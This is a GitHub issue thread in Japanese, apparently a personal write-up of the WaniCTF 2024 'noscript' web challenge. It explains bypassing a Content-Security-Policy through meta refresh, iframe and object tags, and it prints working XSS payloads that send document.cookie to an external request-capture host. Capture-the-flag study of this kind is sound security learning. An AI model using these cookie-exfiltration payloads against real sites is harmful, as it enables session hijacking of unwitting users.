roaris / ctf-log

0 stars 0 forks source link

WaniCTF 2024 : noscript #62

Open roaris opened 3 months ago

roaris commented 3 months ago

https://github.com/wani-hackase/wanictf2024-writeup/tree/main/web/noscript

本番で解けた問題だが、解き方が他の人たちと違ったので復習する

roaris commented 3 months ago

crawlerにURLを渡して、XSSでCookieを盗む問題 渡せるURLは/user/\<uuid>の形式

// Report API
r.POST("/report", func(c *gin.Context) {
    url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d"
    re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(url) {
        if err := redisClient.RPush(ctx, "url", url).Err(); err != nil {
            _, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
            return
        }
        if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil {
            _, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
            return
        }
        _, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>")
    } else {
        _, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>")
    }
})

image

roaris commented 3 months ago

/user/\<uuid>ではCSPが設定されていて、簡単にXSSを起こすことは出来ない

// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
    c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
    id := c.Param("id")
    re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(id) {
        if val, ok := db.Get(id); ok {
            params := map[string]interface{}{
                "id":       id,
                "username": val[0],
                "profile":  template.HTML(val[1]),
            }
            c.HTML(http.StatusOK, "user.html", params)
        } else {
            _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
        }
    } else {
        _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
    }
})

usernameとprofileを更新出来る uuidの形式をチェックしているだけで、usernameとprofileは自由な値に出来る

// Modify user profiles
r.POST("/user/:id/", func(c *gin.Context) {
    id := c.Param("id")
    re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(id) {
        if _, ok := db.Get(id); ok {
            username := c.PostForm("username")
            profile := c.PostForm("profile")
            db.Delete(id)
            db.Set(id, username, profile)
            if _, ok := db.Get(id); ok {
                c.Redirect(http.StatusMovedPermanently, "/user/"+id)
            } else {
                _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
            }
        } else {
            _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
        }
    } else {
        _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
    }
})
roaris commented 3 months ago

エスケープされているか確認する

image

image

usernameはエスケープされているが、profileはエスケープされていない コードを確認すると以下のようになっている

params := map[string]interface{}{
    "id":       id,
    "username": val[0],
    "profile":  template.HTML(val[1]),
}
c.HTML(http.StatusOK, "user.html", params)

template.HTML(...)というのは、Typed Stringsというものである 「この文字列は安全だからエスケープせずにHTMLとして扱って欲しい」という時にtemplate.HTMLに渡す template.HTMLの他に、template.JSがある

https://pkg.go.dev/html/template#hdr-Typed_Strings

https://creators.bengo4.com/entry/2024/05/13/120000

Typed Strings がテンプレート内の適切な箇所に渡された場合、その文字列はエスケープされません。 自身で HTML などのコードを適用するときにエスケープをされては困るので「Typed Strings を用意した側が、その文字列の安全性を担保している」という前提に基づいて、これらの型を指定します。

roaris commented 3 months ago

エスケープされないからといって、profileを<script>alert(1)</script>にしてもalert(1)は実行されない CSPがdefault-src 'self', script-src 'none'だからである

image

script-srcディレクティブで、JavaScriptの読み込みを許可するドメインを指定する https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Security-Policy/script-src 例えば、script-src https://valid.example.comであれば、 <script src="https://valid.example.com/main.js"></script>で読み込んだJavaScriptは実行されるが、 <script src="https://invalid.example.com/main.js"></script>で読み込んだJavaScriptは実行されない

https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Security-Policy/Sources script-src 'self'とすれば、自身のドメインからのみJavaScriptの読み込みを許可する script-src 'none'とすれば、JavaScriptの読み込みを一切許可しない インラインスクリプトは基本的に許可されない 許可する場合は、script-src 'unsafe-inline'script-src 'nonce-...'script-src 'sha256-...'などを使う

script-srcの他にも、img-srcやframe-srcがある 今回は、img-srcやframe-srcは指定されておらず、その場合は、default-srcが適用される

roaris commented 3 months ago

/user/\<uuid>だけでXSSを起こすのは無理だろう インラインスクリプトが使えないし、JavaScriptの読み込みも一切許可されないから

なので、他の部分を調べる /username/\<uuid>では、出力をエスケープしていないし、CSPも設定されていないので、自由にJavaScriptを実行出来る

// Get username API
r.GET("/username/:id", func(c *gin.Context) {
    id := c.Param("id")
    re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(id) {
        if val, ok := db.Get(id); ok {
            _, _ = c.Writer.WriteString(val[0])
        } else {
            _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
        }
    } else {
        _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
    }
})

image

roaris commented 3 months ago

ただし、crawlerに渡すURLは、/user/\<uuid>の形式である必要があるので、/user/\<uuid>でprofileがエスケープされていないことと、/username/\<uuid>で自由にJavaScriptを実行出来ることを組み合わせる

主な解法は2つある

1つ目はmeta refreshによって、/user/\<uuid>から/username/\<uuid>にリダイレクトさせる方法である usernameを<script>alert(1)</script>、profileを<meta http-equiv="refresh" content="5; URL=/username/a3358697-7f08-45b2-a90c-4032e6b355f8">にすると、/user/a3358697-7f08-45b2-a90c-4032e6b355f8にアクセスして、5秒後に/username/a3358697-7f08-45b2-a90c-4032e6b355f8にリダイレクトし、alert(1)が実行される

2つ目はiframeを使う方法である usernameを<script>alert(1)</script>、profileを<iframe src="/username/df80fa25-239a-4103-9877-77b81a9fc3b5">にすると、/user/df80fa25-239a-4103-9877-77b81a9fc3b5にアクセスすると、alert(1)が実行される 今回、CSPにframe-srcは設定されていないため、default-srcが適用される default-src: 'self'なので、自身のドメインであれば、iframeで読み込むことが出来る

自分が本番で使った方法はobjectタグを使った方法である https://developer.mozilla.org/ja/docs/Web/HTML/Element/object usernameを<script>alert(1)</script>、profileを<object data="/username/7923f866-91e1-40e4-9eeb-b0d013e063db">にすると、/user/7923f866-91e1-40e4-9eeb-b0d013e063dbにアクセスすると、alert(1)が実行される https://github.com/bhaveshk90/Content-Security-Policy-CSP-Bypass-Techniques を読んでいて、objectタグが使えないか試したら、これで通った これもCSPにobject-srcが設定されておらず、default-srcが適用されることによって可能

roaris commented 3 months ago

alert(1)を実行してもフラグは得られない フラグを得るためには、document.cookieをクエリパラメータで外部に送信する

document.cookieの送信先として、Request Basketsを使った usernameを<script>location='https://rbaskets.in/7e1foyi?'+document.cookie</script>とし、profileは、上に書いた方法のうち、どれかを使えば良い meta refreshを使う場合は、crawlerは1秒しか待機しないため、遷移までの秒数を0秒にしよう

await page.goto(APP_URL + path, {
  waitUntil: "domcontentloaded",
  timeout: 3000,
});
await page.waitForTimeout(1000);

<script>fetch('https://rbaskets.in/7e1foyi?'+document.cookie)</script>だとCORSエラーが発生する(Request Basketsの問題)

roaris commented 3 months ago

crawlerがエラーを出して動かなかった

crawler_1  | crawl /user/becd5f4f-acfd-46cf-9cb5-25aa87a0e323
crawler_1  | crawl page.goto: net::ERR_SSL_PROTOCOL_ERROR at http://app:8080/user/becd5f4f-acfd-46cf-9cb5-25aa87a0e323

httpsでアクセスしようとして、net::ERR_SSL_PROTOCOL_ERRORが発生するなら分かるが、httpでアクセスしようとして、このエラーが発生するのはおかしい気がする

https://playwright.dev/docs/api/class-browser#browser-new-context を見て修正してみたが、直らなかった

const browser = await chromium.launch();
const context = await browser.newContext({ignoreHTTPSErrors: true});
const page = await context.newPage();
roaris commented 3 months ago

https://qiita.com/kei_s/items/cac0054aec8a3dd757ef appドメインがHSTS Preload Listの中に含まれていて、https通信を強制されるらしい https://hstspreload.org/?domain=app

docker-compose.ymlのコンテナ名を修正した

services:
  server:
    build: ./app
    ports:
      - "8080:8080"
    environment:
      - REDIS_HOST=redis
      - REDIS_PORT=6379
  crawler:
    build: ./crawler
    environment:
      - FLAG=FAKE{***redacted***}
      - APP_URL=http://server:8080
      - HOST=server:8080
      - REDIS_HOST=redis
      - REDIS_PORT=6379
    platform: linux/amd64
  redis:
    image: "redis:alpine"

これで、crawlerが正常に動くようになった

roaris commented 3 months ago

<script>location='https://rbaskets.in/7e1foyi?'+document.cookie</script>だと、iframe, objectタグを使った方法で上手くいかなかった

iframe, objectタグを使う場合は、fetchを使う必要があり、Request BasketsだとCORSエラーが発生してしまうので、Request Binを使う必要がある

以下のようにフラグが取れる image

roaris commented 3 months ago

本番は、<script>location='https://rbaskets.in/7e1foyi?'+document.cookie</script>とobjectタグで解いたはずなんだが...

Request Basketsにその時のリクエストが残ってた image